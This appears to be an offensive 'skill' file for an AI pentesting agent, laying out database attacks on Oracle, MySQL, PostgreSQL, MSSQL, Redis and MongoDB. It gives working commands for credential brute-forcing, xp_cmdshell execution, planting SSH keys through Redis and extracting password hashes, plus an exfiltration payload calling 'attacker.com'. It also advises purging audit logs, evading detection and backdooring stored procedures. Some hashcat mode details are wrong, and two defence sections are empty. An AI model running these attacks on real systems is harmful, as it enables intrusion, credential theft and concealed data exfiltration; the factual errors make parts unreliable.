Database Attack

Database Attack

Supplementary Files:

• payloads.md — Attack payloads organized by database type: Oracle, MySQL/MariaDB, PostgreSQL, MSSQL/Sybase, Redis, MongoDB, and multi-protocol brute force
• test-cases.md — Structured test case templates (8 cases covering enumeration, exploitation, brute-force, and post-exploitation across 6 database types)
• guides/oracle-database-attack.md — Oracle database attack deep dive: TNS listener, odat exploitation, privilege escalation
• guides/redis-mongodb-unauth.md — Redis and MongoDB unauthenticated access, misconfiguration exploitation, and data exfiltration
• guides/database-bruteforce.md — Database protocol brute-forcing with hydra, ncrack, and patator

Summary

This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations.

Tools: odat, oscanner, sqsh, redis-tools, mongoaudit, patator, ncrack, hydra

Domain: database

MITRE ATT&CK: TA0006-Credential Access

Description

Direct attacks against database servers at the protocol level — distinct from web-based SQL injection (covered by web-sqli). This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations. Covers Oracle TNS, MySQL, PostgreSQL, MSSQL/Sybase, Redis, and MongoDB.

While web-sqli exploits application-layer vulnerabilities to inject SQL through HTTP, this skill attacks the database server directly: brute-forcing credentials over the wire, exploiting default configurations, abusing stored procedures for OS command execution, and exfiltrating data through native database protocols.

Use Cases

1. Database server enumeration — Discover database listeners on the network, fingerprint DBMS type and version, identify running services and configuration weaknesses
2. Authentication brute-force — Test database credentials against Oracle TNS, MySQL, PostgreSQL, MSSQL, and other database protocols using targeted wordlists
3. Oracle exploitation — Exploit Oracle TNS listener misconfigurations, leverage odat for SID enumeration, credential extraction, file read/write, and OS command execution
4. NoSQL misconfiguration abuse — Exploit unauthenticated Redis and MongoDB instances, read/write files, execute Lua scripts, exfiltrate data
5. MSSQL post-authentication exploitation — Leverage xp_cmdshell and stored procedures for OS command execution after gaining database credentials
6. PostgreSQL privilege escalation — Exploit misconfigured roles, abuse COPY/lo_import for file access, leverage PL/Python or PL/Perl for code execution

Core Tools

Methodology

Attack Chain

Recon & Discovery → Service Enumeration → Authentication Testing → Exploitation → Post-Exploitation
   (nmap/oscanner)    (odat/SID guess)     (hydra/ncrack/patator)   (odat/sqsh)     (xp_cmdshell/file ops)

Phase 1: Recon and Discovery

• Port scan common database ports: Oracle (1521), MySQL (3306), PostgreSQL (5432), MSSQL (1433), Redis (6379), MongoDB (27017)
• Identify database type and version via banner grabbing or protocol probing
• Detect default or misconfigured instances (empty passwords, anonymous access)

Phase 2: Service Enumeration

• Oracle: enumerate SIDs with odat, scan TNS listener with oscanner, identify valid database names
• MSSQL/Sybase: enumerate databases and server properties with sqsh
• Redis: test unauthenticated access with redis-cli, enumerate keys and configuration
• MongoDB: test unauthenticated access, enumerate databases and collections with mongoaudit

Phase 3: Authentication Testing

• Brute-force database credentials with hydra, ncrack, or patator
• Test default credentials: Oracle (sys/change_on_install), MySQL (root/empty), MSSQL (sa/empty), PostgreSQL (postgres/postgres)
• Use database-specific wordlists and username patterns (dba, admin, backup, replication)

Phase 4: Exploitation

• Oracle: exploit with odat — read/write files via UTL_FILE, execute OS commands via DBMS_SCHEDULER, extract credentials from DB links
• MSSQL: enable and use xp_cmdshell for OS command execution, extract hashes from sys.sql_logins
• PostgreSQL: abuse COPY for file read, exploit PL/Python/PL/Perl for code execution, use lo_import for binary file access
• Redis: write SSH authorized_keys or web shells via CONFIG SET dir/dbfilename, load malicious modules
• MongoDB: exploit NoSQL injection, abuse eval/MapReduce for code execution

Phase 5: Post-Exploitation

• Extract all credentials and hashes from database system tables
• Pivot to other database instances using discovered DB links or replication credentials
• Establish persistence via database jobs, triggers, or stored procedures
• Cover tracks by purging audit logs and database logs

Defense Perspective

Practical Steps

See payloads.md for detailed commands, and test-cases.md for complete test checklists. Below is a summary of core operations at each stage.

Step 1: Discover and Fingerprint Database Services

# Scan common database ports
nmap -sV -p 1521,3306,5432,1433,6379,27017 192.168.1.0/24

# Oracle-specific scan with oscanner
oscanner -s 192.168.1.100

# Quick Redis unauthenticated access test
redis-cli -h 192.168.1.100 INFO server

# MongoDB connection test
mongo --host 192.168.1.100 --port 27017 --eval "db.adminCommand('listDatabases')"

Step 2: Enumerate and Test Authentication

# Oracle SID enumeration with odat
odat sidguesser -s 192.168.1.100 -p 1521

# Oracle password brute-force
odat passwordguesser -s 192.168.1.100 -d ORCL

# MySQL brute-force with hydra
hydra -L users.txt -P passwords.txt mysql://192.168.1.100

# MSSQL connection test with sqsh (empty sa password)
sqsh -S 192.168.1.100 -U sa -P '' -C "SELECT @@version"

Step 3: Exploit and Escalate

# Oracle full exploitation with odat
odat all -s 192.168.1.100 -d ORCL -U sys -P change_on_install

# MSSQL OS command execution via xp_cmdshell
sqsh -S 192.168.1.100 -U sa -P password -C "xp_cmdshell 'whoami'"

# Redis write SSH authorized_keys
redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh
redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys

Common Pitfalls

• Attempting to brute-force database accounts without checking for lockout policies first — can cause denial of service
• Ignoring Oracle SID enumeration — without the correct SID, no Oracle exploitation is possible
• Treating Redis and MongoDB as authenticated services — many deployments run with no authentication by design
• Forgetting to check for database links and replication channels — these are lateral movement paths
• Running aggressive brute-force against production databases — use low thread counts and extended delays
• Overlooking database file permissions — SQLite databases, MySQL data files, and PostgreSQL data directories may be readable by the OS user

Integration with Other Skills

• web-sqli: SQL injection through web applications — database-attack complements this by attacking the DB server directly
• password-attack: Generic brute-force techniques — database-attack specializes in database protocol brute-force with DB-specific defaults
• post-exploitation: Credential harvesting and lateral movement using database access
• network-pentest: Database service discovery during network enumeration
• privilege-escalation: Using database access to escalate OS-level privileges

Legal and Ethical Considerations

Direct database attacks carry severe legal risk — database servers often contain regulated data (PII, financial records, health information). Always confirm database attacks are within authorized scope. Brute-force attacks against production databases risk account lockouts and performance degradation. Data exfiltration must be minimized and documented; extract only enough to prove the vulnerability exists. Destroy all extracted data after the engagement unless retention is explicitly authorized.

Database Attack Categories

Database attacks can be classified into five major categories based on the attack vector and the layer being targeted:

1. Protocol-Level Attacks — Direct interaction with database listeners over their native wire protocols (TNS for Oracle, MySQL protocol, PostgreSQL wire protocol, TDS for MSSQL). These attacks bypass application-layer defenses entirely and target authentication, configuration, and service enumeration.

2. Authentication Attacks — Brute-forcing credentials, testing default accounts, exploiting weak password policies, and abusing trust-based authentication (PostgreSQL pg_hba.conf trust entries, MySQL empty root passwords, Redis no-auth deployments). Authentication attacks are often the first successful vector against database servers.

3. Privilege Escalation — After gaining initial database access with a low-privilege account, attackers escalate through SQL injection in stored procedures, exploiting public package grants (Oracle DBMS_SCHEDULER), abusing GRANT OPTION chains, and leveraging misconfigured role hierarchies. Many databases ship with privilege escalation paths built into their default configurations.

4. Data Exfiltration — Extracting data through database-native export tools (mysqldump, pg_dump, mongoexport), file read capabilities (LOAD_FILE, COPY, UTL_FILE), and covert channels like DNS tunneling from within stored procedures. The goal is to prove access to sensitive data while minimizing forensic footprint.

5. Post-Exploitation — Using database access as a pivot point: executing OS commands via xp_cmdshell, PL/Python, DBMS_SCHEDULER; writing files for persistence (SSH keys, cron jobs, web shells); and harvesting credentials from database links and replication configurations for lateral movement.

Credential Harvesting from Databases

Database servers are credential goldmines in enterprise environments. They store credentials for applications, other databases, and external services in multiple locations:

Direct Credential Storage:

• MySQL: mysql.user table stores authentication strings (SHA256 or caching_sha2_password)
• PostgreSQL: pg_authid catalog stores role passwords
• MSSQL: sys.sql_logins stores password hashes (SHA-512 with salt since SQL Server 2012)
• Oracle: SYS.USER$ table stores password hashes (DES-based and SHA-256)

Embedded Credentials:

• Database links (Oracle DB_LINKS, MSSQL Linked Servers) contain cleartext or hashed credentials for remote database instances
• Application connection strings stored in configuration tables
• SSIS packages, stored procedures, and agent jobs often embed credentials
• Replication configurations contain distributor and subscriber credentials

Harvesting Commands:

# MySQL credential extraction
mysql -u root -e "SELECT user, host, authentication_string FROM mysql.user"

# PostgreSQL credential extraction
psql -U postgres -c "SELECT rolname, rolpassword FROM pg_authid WHERE rolpassword IS NOT NULL"

# MSSQL credential extraction
sqsh -S target -U sa -C "SELECT name, password_hash FROM sys.sql_logins"

# Oracle credential extraction via odat
odat passwordstealer -s 192.168.1.100 -d ORCL -U sys -P password

Cracking Database Hashes:

• MySQL 5.x+: hashcat mode 300 (SHA1), mode 3000 (LM)
• MSSQL 2012+: hashcat mode 1731 (SHA-512)
• PostgreSQL MD5: hashcat mode 11 (or custom mode with md5 prefix)
• Oracle 11g+: hashcat mode 112 (Oracle 11g)

Data Exfiltration Techniques

Extracting data from compromised databases requires different approaches depending on the database type, available privileges, and network restrictions:

Bulk Export Tools: Use native database export tools for maximum efficiency — mysqldump for MySQL, pg_dump for PostgreSQL, mongoexport/mongodump for MongoDB, expdp for Oracle. These tools handle character encoding, binary data, and schema relationships automatically.

Targeted Extraction: When bulk export is too noisy or time-consuming, extract specific high-value data: user tables, credit card columns, PII fields, authentication tokens. Use SELECT INTO OUTFILE (MySQL), COPY TO (PostgreSQL), or scripted extraction through query interfaces.

Covert Exfiltration Channels: When network monitoring blocks direct data transfer, use covert channels: encoding data into DNS queries via stored procedures, writing data to files accessible through web servers, using database replication to copy data to attacker-controlled replicas, or leveraging database backup mechanisms to exfiltrate through scheduled backup jobs.

Anti-Forensic Considerations: Minimize audit trail by understanding what the target database logs: MySQL general_log and slow_query_log, PostgreSQL pg_stat_activity and custom audit extensions, Oracle unified auditing, MSSQL SQL Server Audit. Avoid SELECT * in favor of targeted column extraction to reduce log verbosity.

Database Hardening Checklist

Privilege Escalation in Databases

Database privilege escalation follows distinct paths depending on the DBMS:

MySQL Privilege Escalation:

1. Check SHOW GRANTS FOR CURRENT_USER() for available privileges
2. If FILE privilege: read/write OS files via LOAD_FILE() and INTO OUTFILE
3. If GRANT OPTION: escalate other users or create new admin accounts
4. If SUPER privilege: load custom UDF libraries for OS command execution
5. If CREATE ROUTINE with EXECUTE: create SUID routines that execute with definer privileges

PostgreSQL Privilege Escalation:

1. Check pg_roles for role attributes (SUPERUSER, CREATEROLE, CREATEDB)
2. If CREATEROLE: create a superuser account directly
3. If CREATE EXTENSION: load plpython3u or plperlu for code execution
4. If superuser: COPY TO PROGRAM for OS command execution
5. Large object functions (lo_import, lo_export) for file system access

MSSQL Privilege Escalation:

1. Check IS_SRVROLEMEMBER('sysadmin') and IS_MEMBER('db_owner')
2. If db_owner on a database: create stored procedures with EXECUTE AS OWNER
3. If IMPERSONATE permission: use EXECUTE AS LOGIN to elevate
4. If sysadmin: enable xp_cmdshell for direct OS command execution
5. Abuse OPENROWSET and OPENDATASOURCE for cross-server queries with delegated credentials

Oracle Privilege Escalation:

1. Query DBA_SYS_PRIVS and SESSION_PRIVS for current privilege set
2. Exploit PUBLIC grants on packages like DBMS_SCHEDULER, UTL_FILE
3. SQL injection in Oracle-supplied PL/SQL packages (version-specific CVEs)
4. CREATE ANY PROCEDURE privilege allows executing code in SYS schema
5. Database link escalation: traverse DB links to reach higher-privilege instances

Detection Methods

Database Audit Logs

• Failed auth burst: >10 failed logins per minute from same IP (brute force signature).
• Anomalous SELECT: SELECT * FROM users from application service account (normally only specific columns).
• Schema enumeration: Queries against information_schema.tables, sys.tables, ALL_TABLES.
• Bulk export: pg_dump, mysqldump, bcp from non-admin source.

SIEM Detection Rules

• Splunk SPL: index=db sourcetype=postgresql:query | where query matches "pg_read_file|COPY TO"
• Native audit: PostgreSQL pg_audit, MySQL Enterprise Audit, Oracle Audit Vault.
• Imperva Data Security: Database activity monitoring (DAM) platform.
• Microsoft Defender for SQL: Native SQL Server threat detection.

Defense Evasion Techniques

SQL Injection Stealth

• Time-based blind: IF(condition, SLEEP(5), 0) — extract via timing without output.
• Out-of-band exfil: LOAD_FILE('\\\\ attacker.com\\x') (MySQL); xp_dirtree (MSSQL) for DNS exfil.
• Distributed queries: Spread SQLi attempts across many sessions; below rate threshold.
• Encoding tricks: Hex (0x), char(), URL encoding to evade WAF.

Query Stealth

• Use indexed columns: Avoid full table scans that trigger audit alerts.
• Limit results: LIMIT 100 per query; below bulk export threshold.
• Off-hours queries: Run during low-activity windows.
• Reuse legitimate connections: Don't create new DB connections; use connection pool.

Lateral Movement Stealth

• Linked servers (SQL Server): Use sp_addlinkedserver for cross-DB access; appears as legitimate config.
• PL/SQL packages (Oracle): Use legitimate packages (UTL_HTTP, DBMS_LDAP) for outbound.
• CLR assembly (SQL Server): Load malicious .NET assembly; persists across reboots.
• Stored procedure persistence: Backdoor stored procedure; activates on specific trigger.

Learning Resources

• This skill's supplementary files: payloads.md, test-cases.md
• Guides: guides/oracle-database-attack.md, guides/redis-mongodb-unauth.md, guides/database-bruteforce.md, guides/nosql-attack-guide.md, guides/database-lateral-movement-guide.md
• Related skills: skills/web-sqli/SKILL.md, skills/password-attack/SKILL.md
• odat GitHub: github.com/quentinhardy/odat
• HackTricks - Databases: book.hacktricks.xyz/network-services-pentesting
• Redis Security: redis.io/topics/security
• MongoDB Security Checklist: mongodb.com/docs/manual/administration/security-checklist